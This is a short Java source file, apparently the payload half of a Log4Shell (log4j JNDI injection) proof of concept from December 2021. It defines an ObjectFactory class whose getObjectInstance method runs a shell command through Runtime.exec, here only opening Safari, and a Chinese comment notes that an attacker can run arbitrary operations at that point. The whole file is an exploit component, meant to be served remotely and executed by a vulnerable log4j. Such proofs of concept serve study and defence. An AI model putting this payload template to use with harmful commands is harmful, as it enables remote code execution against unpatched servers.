package com.msy.rmi;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

/**
 * @author Msy
 * @Description
 * @createTime 2021年12月11日 16:43:00
 */
public class Execute implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        //在这里攻击者可执行任意操作，在返回时携带给log4j参数
        Runtime.getRuntime().exec("open /Applications/Safari.app");
        return "攻击者";
    }

}
